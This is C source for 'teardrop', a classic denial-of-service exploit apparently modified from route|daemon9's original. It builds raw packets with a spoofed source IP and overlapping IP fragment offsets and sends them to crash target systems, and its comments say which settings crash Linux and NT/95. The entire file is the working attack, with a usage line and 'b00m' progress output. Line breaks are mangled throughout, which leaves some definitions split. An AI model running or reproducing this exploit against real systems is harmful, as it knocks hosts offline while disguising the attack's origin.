#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING
*/
#define IP_MF 0x2000
/* More IP fragment en route */
#define IPH
0x14 /* IP header size */
#define UDPH
0x8 /* UDP header size */
#define PADDING 0x14
/* datagram frame padding for first packet */ /* JD Change pad size to
20 decimal. */
#define MAGIC 0x3
/* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long,
u_short, u_short);
int main(int argc, char **argv)
{
int one = 1,
count = 0, i, rip_sock;
u_long
src_ip = 0, dst_ip = 0;
u_short src_prt
= 0, dst_prt = 0;
struct in_addr
addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock
= socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock,
IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc <
3) usage(argv[0]);
if (!(src_ip
= name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc,
argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's':
/* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't':
/* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n':
/* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break;
/* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt)
src_prt = (random() % 0xffff);
if (!dst_prt)
dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
fprintf(stderr,
"Death on flaxen wings:\n");
addr.s_addr
= src_ip;
fprintf(stderr,
"From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr
= dst_ip;
fprintf(stderr,
" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr,
" Amt: %5d\n", count);
fprintf(stderr,
"[ ");
for (i = 0; i
< count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr,
"]\n");
return (0);
}
/*
* Send two IP fragments
with pathological offsets. We use an implementation
* independent way of
assembling network packets that does not rely on any of
* the diverse O/S specific
nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long
src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet
= NULL, *p_ptr = NULL; /* packet pointers */
u_char byte;
/* a byte */
struct sockaddr_in
sin;
/* socket protocol structure */
sin.sin_family
= AF_INET;
sin.sin_port
= src_prt;
sin.sin_addr.s_addr
= dst_ip;
/*
* Grab
some memory for our packet, align p_ptr to point at the beginning
* of our
packet, and then fill it with zeros.
*/
packet = (u_char
*)malloc(IPH + UDPH + PADDING);
p_ptr
= packet;
bzero((u_char
*)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45;
/* IP version and header length */
memcpy(p_ptr,
&byte, sizeof(u_char));
p_ptr += 2;
/* IP TOS (skipped) */
*((u_short *)p_ptr)
= FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr)
= htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr)
|= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr)
= 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr
+ 1, &byte, sizeof(u_char));
p_ptr += 4;
/* IP checksum filled in by kernel */
*((u_long *)p_ptr)
= src_ip; /* IP source address
*/
p_ptr += 4;
*((u_long *)p_ptr)
= dst_ip; /* IP destination address
*/
p_ptr += 4;
*((u_short *)p_ptr)
= htons(src_prt); /* UDP source port
*/
p_ptr += 2;
*((u_short *)p_ptr)
= htons(dst_prt); /* UDP destination
port */
p_ptr += 2;
*((u_short *)p_ptr)
= htons(8 + PADDING*2); /* UDP total length */ /* Increases
UDP total length to 48 bytes
Which is too big! */
if (sendto(sock,
packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set
the fragment offset to be inside of the previous packet's
*
payload (it overlaps inside the previous packet) but do not include
*
enough payload to cover complete the datagram. Just the header will
*
do, but to crash NT/95 machines, a bit larger of packet seems to work
*
better.
*/
p_ptr = &packet[2];
/* IP total length is 2 bytes into the header */
*((u_short *)p_ptr)
= FIX(IPH + MAGIC + 1);
p_ptr += 4;
/* IP offset is 6 bytes into the header */
*((u_short *)p_ptr)
= FIX(MAGIC);
if (sendto(sock,
packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr
addr;
struct hostent
*host_ent;
if ((addr.s_addr
= inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}